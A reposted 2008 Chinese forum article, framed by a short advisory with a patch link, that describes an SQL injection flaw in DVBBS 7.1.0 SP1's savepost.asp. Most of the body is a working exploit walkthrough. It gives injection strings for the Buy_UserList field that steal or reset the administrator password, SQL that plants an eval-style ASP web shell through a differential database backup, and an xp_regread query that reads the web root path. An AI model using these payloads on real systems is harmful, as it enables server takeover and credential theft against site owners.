设计师吧首页
 用户名  密码 记住
我是?
shaic
积分: 246
等级: 8级
威望: 6
关注: 2712次
我最近更新的内容
本栏目推荐内容
动网论坛(DVBBS 7.1.0 SP1)Savepost.asp存在严重漏洞-zt
作者:佚名   日期:2008-1-3   来源:互联网


发现:Bug.Center.Team
严重程度:严重
厂商名称:动网论坛(DVBBS)
程序版本:DVBBS 7.1.0 SP1

漏洞分析:
   因为程序在savepost.asp文件中变量过滤不严,导致数据库处理产生漏洞,可以取得论坛所有权限以及webshell。已经提交官方审核,并通过确认,补丁已经公布

厂商补丁:
     http://bbs.dvbbs.net/dispbbs.asp?boardID=8&ID=1187367&page=1


     最新漏洞出来了,之前看见bct的人在qq群叫卖漏洞,要卖500大洋。没想到两天不到,就把漏洞发了。从 http://bbs.dvbbs.net/dispbbs.asp?boardID=8&ID=1187367&page=1下了个补丁,看了看,修改了许多。仔细看看Savepost.asp,发现也修改了许多地方。
怎么办呢,看不到修改在哪里,只好自己朝下看了。
看到下面:
------------------------------
If Not IsNumeric(Buy_VIPType) Then Buy_VIPType = 0
           If Buy_UserList<>"" Then Buy_UserList = Replace(Replace(Replace(Buy_UserList,"|||",""),"@@@",""),"$PayMoney","")
           ToolsBuyUser = "0@@@"&Buy_Orders&"@@@"&Buy_VIPType&"@@@"&Buy_UserList&"|||$PayMoney|||"
           GetMoneyType = 3
           ’UseTools = ToolsInfo(4)
--------------------------------------


再朝下看:
Public Sub Insert_To_Announce()
     ’插入回复表
     DIM UbblistBody
     UbblistBody = Content
     UbblistBody = Ubblist(Content)
     SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",’"&username&"’,’"&topic&"’,’"&Content&"’,’"&DateTimeStr&"’,’"&Dvbbs.strlength(Content)&"’,"&RootID&","&ilayer&","&iorders&",’"&Dvbbs.UserTrueIP&"’,’"&Expression(1)&"’,"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",’"&UbblistBody&"’,"&ToMoney&",’"&UseTools&"’,’"&ToolsBuyUser&"’,"&GetMoneyType&")"
   Dvbbs.Execute(sql)

可以看到Buy_UserList这个变量过滤有问题,呵呵,这个变量又导致ToolsBuyUser这个变量有问题。的确是可以注射,呵呵。
在悔过头来看补丁里面:
insert里面有修补:&dvbbs.checkstr(ToolsBuyUser)&"
看来应该是这个地方了。
利用起来最好是sql版本,可以updata改管理员密码,或者差异备份得shell。
利用办法嘛,先注册一个id,找个版面发帖子,
帖子内容下面有个选择帖子类型。
选择---论坛交易币设置。
下面是表单内容。

看源代码:
---------------------------------------
<option value="">选择帖子类型</option>
<option value="0">赠送金币贴</option>
<option value="1">获赠金币贴</option>
<option value="2">论坛交易帖设置</option>
</select>
金币数量:<input name="ToMoney" size="4" value="">
<div id="Buy_setting" style="display:none">
购买数量限制:<input name="Buy_Orders" size="4" value="-1">(设置为“-1”则不限制)<BR>
VIP用户浏览选项:不需要购买<INPUT TYPE="radio" NAME="Buy_VIPType" value="0" checked="checked">,需要购买<input type="radio" name="Buy_VIPType" value="1" /><br />
可购买用户名单限制:<input name="Buy_UserList" size="30" value="" />(每个用户名用英文逗号“,”分隔符分开,注意区分大小写)
</div>
---------------------------------------
就是这个地方了,hoho。
下面有个“可购买名单限制”,里面就填写:
xjy111’,0);update/**/Dv_User/**/set/**/UserEmail=(select[Password]from/**/Dv_admin/**/where[Username]=’yellowcat’)/**/where[UserName]=’qq156544632’;--

提交成功。
看看我的Email。
晕死,居然成了空白。不知道为什么哈。
来点直接的:

coolidea|||123’,0);update/**/Dv_User/**/set/**/UserPassword=’469e80d32c0559f8’/**/where[UserName]=’qq156544632’;--

这回好了,先退出,用admin888这个密码直接成功登录。
好了,语句没有问题,大家现在可以自由发挥,会写工具的,吧delphi什么的搬出来。
直接改管理员的密码进后台,可以恢复数据库的办法得到shell(参考angel的文章,dvbbs7.1sql版本依然可以吧)
或者差异备份(后台可以看到web绝对路径):

create table aspshell (str image);  

declare @a sysname select @a=db_name() backup database @a to disk=’D:\wwwroot\dvbbs7sp1\wwwroot\qq156544632.bak;

insert into aspshell values(0x3C256576616C20726571756573742822232229253E);
declare @a sysname select @a=db_name() backup database @a to disk=’D:\wwwroot\dvbbs7sp1\wwwroot\qq156544632.asp’ with differential;

drop table aspshell;

另外一种得到web绝对路径办法(从职业欠钱兄弟那里看到的)
create table regread(a varchar(255),b varchar(255));
(建立一个临时表,存放读取到的信息)
insert regread exec master.dbo.xp_regread ’HKEY_LOCAL_MACHINE’,’SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots’, ’/’  
(使用xp_regread这个函数读取注册表信息得到虚拟目录路径,并存入临时表中)
update dv_boke_user set boketitle=(select top 1 b from regread) where bokename=’admin’

至于acess不存在这个漏洞。

查看次数: 155
最近看过此内容的会员
您可能对这些内容感兴趣
·阳光MM017·my workshop 形象出炉:)
·2007设计师必备网址全集·石家庄华清设计
·口碑网推出阿里旺旺口碑版·超好玩的flash游戏:人间大炮,打中here就过关!!
·CorelDRAW创建啫喱文字·最新:MacWorld2008大会乔布斯演讲全程实录
·回力鞋复兴:从20元人民币到120欧元的旅程·BGG Mechanics游戏机制及释义
评论列表
没有评论
■游客, 您可以在此发表您的评论
使用这个表情使用这个表情使用这个表情使用这个表情使用这个表情
使用这个表情使用这个表情使用这个表情使用这个表情使用这个表情
使用这个表情使用这个表情使用这个表情使用这个表情使用这个表情
使用这个表情使用这个表情使用这个表情使用这个表情使用这个表情
使用这个表情使用这个表情使用这个表情使用这个表情使用这个表情
使用这个表情使用这个表情使用这个表情使用这个表情使用这个表情
使用这个表情使用这个表情使用这个表情使用这个表情使用这个表情
请您注意
·遵守《互联网电子公告服务管理规定》
·遵守《全国人大常委会关于维护互联网安全的决定》
·遵守中华人民共和国的各项有关法律法规
·承担一切因您的言论而直接或间接导致的法律责任
·参与本留言即表明您已经阅读并接受上述条款
Copyright © 2007-2008 Sjs8.com 中国数字设计师网